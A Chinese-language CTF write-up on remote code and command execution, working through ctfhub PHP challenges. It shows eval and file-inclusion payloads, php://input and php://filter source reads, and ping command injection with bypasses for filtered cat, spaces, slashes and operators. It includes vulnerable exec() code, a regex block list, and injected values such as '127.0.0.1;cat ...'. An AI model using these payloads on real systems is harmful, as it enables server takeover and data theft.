RCE
文章目录
简介
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
eval执行
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用
[ctfhub eval执行]
-
打开环境
-
构造payload
/?cmd=system("ls");
-
查找根目录,发现flag_19070
/?cmd=system("ls /");
-
输出flag_19070中的flag
/?cmd=system("cat /flag_19070");
-
得到flag
[ctfhub 文件包含]
-
打开环境
-
根据提示构造payload
/?file=shell.txt
-
使用firefox下的HackBar,用post方式提交
ctfhub=system("ls");
-
进一步查看根目录
ctfhub=system("ls /");
-
发现flag,更改提交
ctfhub=system("cat /flag");
-
得到flag
php://input
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data 部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
常规姿势
php://input + [POST DATA]执行php代码
/?file=php://input [POST DATA部分] <?php system('ls');?>
[ctfhub php://input]
我们需要使用php://input来构造发送的指令
-
打开环境
-
根据提示必须使用php://input伪协议,用burp进行抓包,构造请求
POST /?file=php://input HTTP/1.1 Host: challenge-82ffdefdbea0c3ee.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 23 <?php system('ls');?>
-
查找根目录
POST /?file=php://input HTTP/1.1 Host: challenge-82ffdefdbea0c3ee.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 23 <?php system('ls /');?>
-
打开flag_12920
POST /?file=php://input HTTP/1.1 Host: challenge-82ffdefdbea0c3ee.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 23 <?php system('cat /flag_12920');?>
-
得到flag
php://filter
协议 | 作用 |
---|---|
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one) 的文件函数非常有用,类似 readfile() 、file() 和 file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。 |
-
php://filter
参数详解该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
php://filter 参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 <; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 -
可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
字符串过滤器 作用 string.rot13 等同于 str_rot13()
,rot13变换string.toupper 等同于 strtoupper()
,转大写字母string.tolower 等同于 strtolower()
,转小写字母string.strip_tags 等同于 strip_tags()
,去除html、PHP语言标签转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于 base64_encode()
和base64_decode()
,base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法
常规姿势
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
/?file=php://filter/read=convert.base64-encode/resource=
[ctfhub 读取源代码]
-
打开环境
-
构造payload
/?file=php://filter/read=convert.base64-encode/resource=/flag
-
得到密文后base64解码
-
得到flag
PING
ICMP协议是“Internet Control Message Protocol”(因特网控制消息协议)的缩写。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。
ping (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序。Ping发送一个ICMP;回声请求消息给目的地并报告是否收到所希望的ICMP echo (ICMP回声应答)。它是用来检查网络是否通畅或者网络连接速度的命令
ping命令通常用来作为网络可用性的检查。ping命令可以对一个网络地址发送测试数据包,看该网络地址是否有响应并统计响应时间,以此测试网络。
ping和ICMP的关系:ping命令发送数据使用的是ICMP协议。
常见的ping命令
1,ping -t 20 www.baidu.com,-t 选项可以设置承载ICMP报文的IP数据包的TTL值
2,ping+IP地址或主机域名
3,ping+IP地址或主机域名+命令参数;
4, ping+命令参数+IP地址或主机域名-c-s-W选项
5,ping -c 4 192.168.1.1表示ping4次
6,ping -s 2048 192.168.1.1表示每次发送2K的ping测试包专至于-W是用于设置每次ping的间隔时间,以秒为单位。
LINUX系统的管道符: 1," ; ": 执行完前面的语句在执行后面的语句。 2.“ | “: 显示后面的语句的执行结果。 3.” || “:当前的语句执行出错时,执行后面的语句。 4.” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。 5.” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。 还有一些管道符: windows系统是: 1. " | " :是直接后面的执行语句 2. “ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。 3. " & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 4. " && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list
-t Ping 指定的计算机直到中断。
-a 将地址解析为计算机名。
-n count 发送 count 指定的 ECHO 数据包数。默认值为 4。
-l length 发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节;最大值是65,527。
-f 在数据包中发送"不要分段"标志。数据包就不会被路由上的网关分段。
-i ttl 将"生存时间"字段设置为 ttl 指定的值。
-v tos 将"服务类型"字段设置为 tos 指定的值。
-r count 在"记录路由"字段中记录传出和返回数据包的路由。count 可以指定最少 1 台,最多 9 台计算机。
-s count 指定 count 指定的跃点数的时间戳。
-j computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。
-k computer-list 利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。
-w timeout 指定超时间隔,单位为毫秒。
destination-list 指定要 ping 的远程计算机。
[ctfhub 命令注入]
// 关键代码
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
$cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
if ($res) {
print_r($res);// 打印结果
}
show_source(__FILE__);
?>
-
输入
127.0.0.1;ls
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => 26573266299619.php [2] => index.php )
-
输入
127.0.0.1;cat 26573266299619.php
,回显(此时直接查看网页源代码也可以得到flag)Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>
-
输入
127.0.0.1;cat 26573266299619.php | base64
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHViezMxMGZkYzkzZTYwMjNmY2ZjNTk4NTJiYn0K )
-
解码得到flag
[ctfhub 过滤cat]
思路:代替cat
cat 由第一行开始显示内容,并将所有内容输出tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
ca\t,就是通过反斜杠,还是可以继续执行cat的功能。
-
输入
127.0.0.1;ls
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_7786230223425.php [2] => index.php )
-
输入
127.0.0.1;tac flag_7786230223425.php
,回显(此时直接查看网页源代码也可以得到flag)Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>
-
输入
127.0.0.1;tac flag_7786230223425.php | base64
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHVie2IzNzAyY2RhYzQxZjExODcyY2M2OTE5OX0K )
-
解码得到flag
[ctfhub 过滤空格]
思路:代替空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
、${IFS}
来代替空格
-
输入
127.0.0.1;ls
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_9862517725980.php [2] => index.php )
-
输入
127.0.0.1;cat<flag_9862517725980.php
,回显(此时直接查看网页源代码也可以得到flag)Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>
-
输入
127.0.0.1;base64<flag_9862517725980.php
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHVie2YzN2FiMTQyMWVmNTBhOTE2NjRkMDZhNH0K )
-
解码得到flag
[ctfhub 过滤目录分隔符]
思路:代替/
使用cd命令
-
输入
127.0.0.1;ls
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_is_here [2] => index.php )
-
输入
127.0.0.1;cd flag_is_here&&ls
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_238142878217828.php )
-
输入
127.0.0.1;cd flag_is_here&&cat flag_238142878217828.php
,回显(此时直接查看网页源代码也可以得到flag)Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>
-
输入
127.0.0.1;cd flag_is_here&&base64 flag_31678113733210.php
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHViezk4M2E5Y2E5ZGI0NmIzZjhmYzdlNGRiN30K )
-
解码得到flag
[ctfhub 过滤运算符]
思路:代替|
file | base64也可以写成base64 file
-
输入
127.0.0.1;ls
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_99052224315232.php [2] => index.php )
-
输入
127.0.0.1;cat flag_99052224315232.php
,回显(此时直接查看网页源代码也可以得到flag)Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>
-
输入
127.0.0.1; base64 flag_99052224315232.php
,回显Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHViezk3NjI5NzcxNjk2YTlkNDJjZTY1MGIwM30K )
-
解码得到flag
[ctfhub 综合过滤练习]
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
思路:过滤了|,&,;, ,/,cat,flag,ctfhub
;可用%0a代替
flag可以用正则f*ag
-
构造payload
/?ip=127.0.0.1%0als
注意这里因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
回显
Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_is_here [2] => index.php )
-
继续构造payload
/?ip=127.0.0.1%0als${IFS}f*ag_is_here
回显
Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_186842115718250.php )
-
继续构造payload
/?ip=127.0.0.1%0acd${IFS}f*ag_is_here%0atac${IFS}f*ag_186842115718250.php
回显(此时直接查看网页源代码也可以得到flag)
Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>
-
继续构造payload
/?ip=127.0.0.1%0acd${IFS}f*ag_is_here%0abase64${IFS}f*ag_186842115718250.php
回显
Array ( [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHViezgwZDJhNmYyMTVlZjQ0Y2UxMTFkM2JlOX0K )
-
解码得到flag